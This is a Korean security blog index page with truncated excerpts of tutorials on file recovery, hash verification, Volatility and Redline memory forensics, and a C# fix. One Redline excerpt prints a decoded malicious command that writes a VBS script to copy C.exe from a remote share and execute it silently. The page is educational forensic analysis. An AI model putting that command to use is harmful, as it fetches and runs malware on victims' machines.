파일 복구 실습을 위한 NTFSWalker 설치 / 사용방법 1http://dmitrybrant.com/ntfswalker 실행하면 위와 같은 창을 볼 수 있고 Physical과 Logical로 나누어져 있다. Advanced로 가면 이미지 파일을 열 수 있다.
파일 무결성 검증을 위한 Hashtap(해쉬탭) 다운로드/ 사용법 보안에서 3대 요소가 있다. 무결성(Integrity), 기밀성(Confidentiality), 가용성(Availability)그 중에서 무결성이란 "승인되지 않거나 원하지 않는 방법에 의한 데이터 변경 보호"에 해당된다. 따라서 무결성을 검증하기 위해 일방향 함수인 해쉬함수를 많이 쓰게되는데, Hashtap이라는 프로그램은 파일에 대한 해쉬함수를 구하여 무결성을 증명하는데 도움을 준다. 다운로드 링크 개인 사용자는 무료이다. 설치는 정말 간단하다. 그냥 확인누르면 된다. 설치가 완료되면 어떻게 사용하는지도 나오게 된다. 사용법파일 우클릭 -> 속성 -> 파일 해시 파일 비교로 파일을 불러오면 해시값을 비교해준다. 같으면 위와 같은 표시가..
윈도우즈(Windows)에서 볼라틸리티(volatility)를 사용하여 메모리 분석 - 2 이번 포스팅에는 윈도우즈(Windows)에서 볼라틸리티(volatility)를 사용하여 메모리 분석 - 1에서 알아본 명령어를 통해 실습 덤프 파일을 사용하여 분석을 해 볼것이다. 실습 덤프 파일은 zeus와 stuxnet을 사용 할 것이며, 이전 포스팅과 연관하여 진행할 예정이므로 되도록 순서대로 읽어주면 좋겠다. 1. Zeus먼저 네트워크 통신하고 있는 프로세스부터 알아보자. connscan을 했더니 856번이 통신하고 있는 것을 확인 할 수 있다. pslist에서 856을 확인해보면 svchost.exe가 856번을 쓰는 것을 확인 할 수 있다. svchost.exe파일은 공격자들의 좋은 먹잇감이 된다. sv..
윈도우즈(Windows)에서 볼라틸리티(volatility)를 사용하여 메모리 분석 - 1 윈도우즈(Windows)에서 볼라틸리티(volatility)를 사용하여 메모리 덤프 뜬 것을 분석해보는 시간을 가져보자.윈도우즈에서 volatility를 사용하려면 위의 파일이 필요하다. 다운로드를 받으면된다. volatility를 사용하려면 넷프레임워크 아니면 파이썬이 필요한데 정확히 뭐였는지 기억이 안난다. 혹시 실행이 안된다면 파이썬이나 넷프레임워크를 설치해보자. 이번 포스팅에서는 볼라틸리티(volatility)에 대해 자주 사용할 법한 명령어들 몇개를 실제로 실습을 해볼 예정이다. 여담으로 Volatility(휘발성)와 vulnerability(취약성)와 혼동하면 안된다. vol.exe -f [분석하고자 하..
DumpIt은 윈도우의 물리적인 메모리 덤프를 떠주는 유틸리티로써 32bits와 64bits둘다 구동하게 된다. 시간은 상당히 가변적이며, 오래 걸릴 수 있다. 압축을 풀면 DumpIt.exe파일을 볼 수 있고 더블클릭으로 실행 할 수 있다. Y누르면 현재 메모리를 덤프떠주며 경로를 출력해준다. y를 누르면 Processing이 나오며 DumpIt이 있는 경로에 .raw파일이 생긴 것을 확인 할 수 있고 상당한 용량을 차지하게 된다. 이 파일을 다른 툴을 사용하여 분석할 수 있게된다.
메모리 포렌식(Memory Forensic) 개요 컴퓨터 포렌식(computer forensics, 컴퓨터 법의학) 또는 디지털 포렌식은 전자적 증거물 등을 사법기관에 제출하기 위해 데이터를 수집, 분석, 보고서를 작성하는 일련의 작업을 말한다. 과거에 얻을 수 없었던 증거나 단서들을 제공해 준다는 점에서 획기적인 방법이다. 컴퓨터 포렌식은 사이버 해킹 공격, 사이버 범죄시 범죄자들은 컴퓨터, 이메일, IT 기기, 스마트폰 등의 운영체제, 애플리케이션, 메모리 등에 다양한 전자적 증거를 남기게 되면서, 사이버 범죄자 추적 및 조사에 핵심적인 요소가 되고 있다. 디지털 포렌식 중에서 메모리를 디지털 포렌식하는 것을 메모리 포렌식이라고 할 수 있겠다. 메모리는 휘발성 정보로써 전원이 나가면 안에 있는 정보는..
Redline을 이용하여 예제문제로 분석해보자 Hierarchical Processess에서 HelpCtr.exe를 상세보기하니 Arguments에 이상한 값이 나타있고 SID값이 500이므로 수상하다. Arguments값이 URL 인코딩되어있는데 디코딩하면 위와 같은 결과를 확인 할 수 있다. 부분부터 긁어서 이것을 Ascii코드 Decode를 하면 위와 같은 결과를 알 수 있다. 결과 cmd /c echo WScript.CreateObject("WScript.Shell").Run "cmd /c copy \\192.168.56.130\w\C.exe %TEMP% && %TEMP%\C.exe",0,false>%TEMP%\fW.vbs|cscript %TEMP%\fW.vbs>nul 위의 결과에서 여러가지 정보..
C# 네임스페이스에 형식 또는 네임스페이스 이름이 없습니다. 어셈블리 참조가 있는지 확인하세요. 해결 방법 최근에 C#으로 개발해야 할 일이 생겨서 열심히 코딩하는 중에 아래와 같은 에러를 발생하는 것을 확인 할 수 있었다. 분명히 ManagementObjectSearcher는 Using System.Management에 포함되어있는 기능인데 막상 Using System.Management에서 오류를 뜨는 것을 확인해보면 'Using 지시문은 필요하지 않습니다.'이 뜨는 것을 알 수 있다. 분명 문서상으로는 Using System.management에서 가져오는 것이 맞는데 뭘 어떻게 해도 저 망할 빨간 줄이 없어지지 않는다. 하루종일 해결 못해서 진행을 못하다 능력 좋으신 분이 해결 방법을 찾아 주었다..
Redline을 사용하여 침해사고 컴퓨터 정보/데이터 분석 (Live Response)이 글은 이전 글에 이어서 작성되고 있습니다. 이번 포스팅에서는 이전 글에서 만들어냈던 추출을 분석을 해보자 다시 한번 말하지만 이 글을 쓸때까지는 레드라인이 윈도우10을 지원하지 않으므로 혹시 안된다고 생각되면 운영체제를 다시 생각해보자 먼저 이런 화면이 뜰 것이고 왼편에 나열되어 있다. Processes 탭을 누르면 위와 같은 화면으로 바뀌게 된다. 오른쪽에 보면 MRI Score라는게 있는데 이 숫자가 높으면 악성코드일 확률이 높아지나 여기선 그렇게 높은 MRI가 보이지 않는다.따라서 부모프로세스와 자식프로세스를 비교하여 악성코드를 찾아내야한다. Hierarchical Processes탭은 부모, 자식프로세스를 보..
Redline 의 설명은 다음과 같다. FireEye의 최고 무료 툴 Redline®은 사용자에게 호스트 조사 기능을 제공하여 메모리 및 파일 분석과 위협 평가 프로파일 개발을 통해 악성코드 침해 징후를 발견할 수 있도록 합니다. Redline을 설치하려면 닷넷프레임워크 4.0버전 이상이 필요하며 Windows 10은 아직 지원해주지 않습니다. Redline은 메모리 포렌식에서 쓰이는 툴이며, 컴퓨터 정보/데이터 수집 스크립트를 자동으로 작성해서 저장해줍니다. 따라서 사용자는 Redline의 결과물을 USB에 넣고다니며 침해사고가 일어난 컴퓨터에 적용 시킴으로써 침해 사고 컴퓨터에 대한 전반적인 데이터를 획득할 수 있습니다. Redline의 설치는 어렵지 않다. 그냥 닷넷프레임 워크 4.0버전 이상을 설..
최근댓글